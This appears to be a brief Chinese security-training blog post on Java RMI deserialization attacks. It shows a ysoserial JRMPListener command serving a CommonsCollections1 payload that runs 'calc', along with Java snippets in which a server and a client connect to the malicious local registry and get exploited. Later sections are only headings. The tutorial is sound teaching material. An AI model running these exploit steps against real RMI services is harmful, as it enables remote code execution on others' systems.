java安全-02RMI

攻击方式

注册端攻击服务端

java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"     public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException {        //开启一个恶意的reg，然后server去过去链接注册，则会中招        String url = "rmi://127.0.0.1:1099/setUser";        Naming.unbind(url);    } 

注册端攻击客户端

    public static void main(String[] args) {        //PS F:\tools\EXP> java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"        try{            String url = "rmi://127.0.0.1:1099/exp";            User user = (User) Naming.lookup(url);         }catch(Exception e){            e.printStackTrace();        }    } 

服务端攻击注册端

1. 注册端开启

1. Server端利用CC1进行攻击

服务端攻击客户端

1. 服务端将恶意类注册

1. 客户端加载执行

转载请注明来自网盾网络安全培训，本文标题：《java安全-02RMI》

标签：javajava安全